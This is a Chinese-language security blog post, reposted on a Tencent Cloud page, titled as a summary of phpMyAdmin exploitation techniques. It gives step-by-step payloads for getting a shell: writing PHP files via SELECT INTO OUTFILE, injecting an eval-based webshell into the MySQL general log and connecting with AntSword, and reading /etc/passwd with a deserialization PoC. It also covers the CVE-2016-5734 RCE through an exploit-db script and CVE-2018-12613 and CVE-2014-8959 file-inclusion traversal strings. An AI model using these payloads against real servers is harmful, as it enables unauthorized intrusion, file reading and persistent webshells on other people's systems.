专栏首页黑白天安全团队phpMyAdmin 渗透利用总结

phpMyAdmin 渗透利用总结

前言 总结一下常见的phpmyadmin漏洞利用姿势

简介

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

获取phpmyadmin版本信息 在网址根路径 后面添加

readme.php
README
changelog.php
Change
Documetation.html
Documetation.txt
translators.html

(注意区分大小写) 就可以看到 phpmyadmin 的相关版本信息了,这个方法也是通杀的,只要管理员不把他们删掉。

phpMyAdmin常规getshell 1.可以看看网站是否存在注入利用注入出来的账号密码登录 2.使用phpmyadmin爆破工具进行爆破进入后台

phpmyadmin直接写入文件 先要知道根路径利用错误爆路径等,这里用phpinfo查看根路径

获取绝对路径的方法

1.phpinfo()
2.出错页面
3.load_file读取网站配置文件 如index.php /etc/passwd
4.查看数据库表内容获取 有一些cms会保存网站配置文件 或者路径
5.进入后台
6.百度出错信息 zoomeye shadon 搜索error warning
7. @@datadir参数看mysql路径 反猜绝对路径

可以通过写shell进行提权,而我们需要满足以下条件:

1.数据库root权限
2.知道网站的物理路径
3.数据库有写权限

MySQL 5.0+的版本会自动创建日志文件,那么在服务运行的情况下修改全局变量也是可以变动文件位置的,但是必须要对生成日志的目录有可读可写的权限。(Linux环境下可能会比较苛刻,因为站点目录是一个用户,MySQL是另外一个用户,权限管控较为严格,主要取决于权限配置是否得当)

1.首先我们测试站点是否有写权限 执行sql语句 SHOW VARIABLES LIKE 'secure_file_priv'

secure-file-priv特性
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性

写入 一句phpinfo文件,

select "<?php phpinfo();?>" INTO OUTFILE  "d:\\phpstudy\\www\\7.php"

这里必须注意要双反斜线,否则会转义,

成功写入

利用日志getshell 当into outfile被禁用的话 可以利用日志getshell,原理,phpmyadmin有一个记录日志的文件,但是一般情况下会关闭,开启日志记录,然后设置日志记录名称为.php,随便执行sql语句,只要包括一句话木马就会被写入到日志中去,然后就可以连接getshell

默认情况下是关闭的

第一步手动开启日志。
set global  general_log='on'   //首先设置为on
第二步 修改日志路径
set global  general_log_file ="d:\\phpstudy\\www\\a.php"
然后 查看是否开启成功
show variables like "general_log%"
已成功
然后只要执行的语句都会写入到日志文件中,所以我们查询语句
select '<?php eval($_POST['a']);?>'
虽然报错但已经写进去了

使用蚁剑成功连接

phpMyAdmin漏洞利用 phpmyadmin反序列化漏洞任意文件读取(WooYun-2016-199433) 影响phpMyAdmin 2.x版本,poc如下:

POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded Content-Length: 80

action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}

CVE-2016-5734 RCE 漏洞版本:

1、授权用户;
2、phpmyadmin4.3.0-4.6.2 ;
3、PHP 4.3.0-5.4.6

主要原因由于将用户输入的信息拼接进preg_replace函数第一个参数中,而在PHP5.4.7以前,preg_replace存在漏洞,可以0进行截断,并将正则模式修改为e,进而执行命令。

在Kali中有自带的EXP

searchsploit phpmyadmin
python3 40185.py   -u root - root -d test -c "system(whoami)" http://192.168.75.130:8080/

这个pre_replace引发的漏洞在PHP版本4.3.0-5.4.6中能触发,PHP 5.4.7后就不行了。phpmyadmin在4.6.3中修复了这个漏洞

CVE-2018-12613文件包含 漏洞版本:phpMyAdmin 4.8.0和4.8.1 主要原因在index.php中存在一处文件包含逻辑

满足以下5个条件

1、不为空  
2、字符串  
3、不以index开头  
4、不在$target_blacklist这个黑名单中  
5、Core::checkPageValidity()函数为TRUE
进而通过二次编码即可绕过检查,造成远程文件包含漏洞。

判断是否存在漏洞经过二次编码绕过 /index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

然后在sql语句中执行一些语句记录到日志,然后在包含即可
SELECT '<?php phpinfo()?>';
查询phpmyadmin cookie值(开发者工具查看)
http://192.168.75.130:8080/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_ff16b4962b5343089c8fcd4c58df53ba

CVE-2014 -8959:本地文件包含 影响范围:phpMyAdmin 4 .0.1--4 .2.12,需要PHP version < 5.3.4 ,Poc如下:

/gis_data_editor.php?token=你的token值&gis_data[gis_type]=
/../../../../phpinfo.txt%00

在实际利用中可以利用写入文件到/tmp目录下结合此漏洞完成RCE,php版本可以通过http header、导出表内容到文件的附加内容看到。

其他漏洞 CVE-2018-19968:任意文件包含/RCE

参考链接 https://mp.weixin.qq.com/s/9Tkcn2AtGrHUsIbRCQ-ZSQ

本文分享自微信公众号 - 黑白天(HBT-SEC),作者:kevin

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-07-19

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 干爆红队-爆破CS Teamserver 密码

    在导线上看起来像这样,但是填充被忽略,可以是任何东西。身份验证例程最多读取256个“长度”。#

    cn0sec
  • Windows网络服务与配置管理之DHCP服务器搭建

    DHCP的全称为 Dynamic Host Configuration Protocol ,动态主机配置协议。DHCP主要在局域网使用,对IP地址进行集中管理和...

    cn0sec
  • 红队之windows用户和组

    用户帐户是对计算机用户身份的标识,本地用户帐户、密码存在本地计算机上,只对本机有效,存储在本地安全帐户数据库 SAM 中,文件路径:C:\Windows\Sys...

    cn0sec
  • 如何将本地数迁移至腾讯云之二 - 云数据迁移篇

    云数据迁移(Cloud Data Migration,简称 CDM)是腾讯云提供的 TB - PB 级别的数据迁移上云服务。CDM 使用专用迁移设备将数据从您的...

    云存储
  • php调试利器之phpdbg

    PHPDBG是一个PHP的SAPI模块,可以在不用修改代码和不影响性能的情况下控制PHP的运行环境。

    sunsky
  • mongodb配置文件详解,内存限制,用户验证 yaml格式

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

    拓荒者
  • 应用执行慢的问题排查路径

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 ...

    bisal
  • 接口测试数据引发的接口测试代码改进(之二)

    把第四阶段代码进行进一步的优化并且把测试代码对数据校验的代码在util.py中建立方法check_condition_for_user,代码如下。

    小老鼠
  • 这四个问题场景你会排查原因吗?看看高手是如何使用 Arthas 快速定位原因的!

    俗话说的好 “问题排查不用愁,Arthas 来帮您忙。” 今天就来说说这个让妈妈再也不用担心我排查问题的 Java 诊断神器:Arthas!

    程序猿DD
  • 视觉注意力机制 | Non-local模块与Self-attention的之间的关系与区别?

    计算机视觉(computer vision)中的注意力机制(attention)的基本思想就是想让系统学会注意力——能够忽略无关信息而关注重点信息。

    BBuf

扫码关注云+社区

领取腾讯云代金券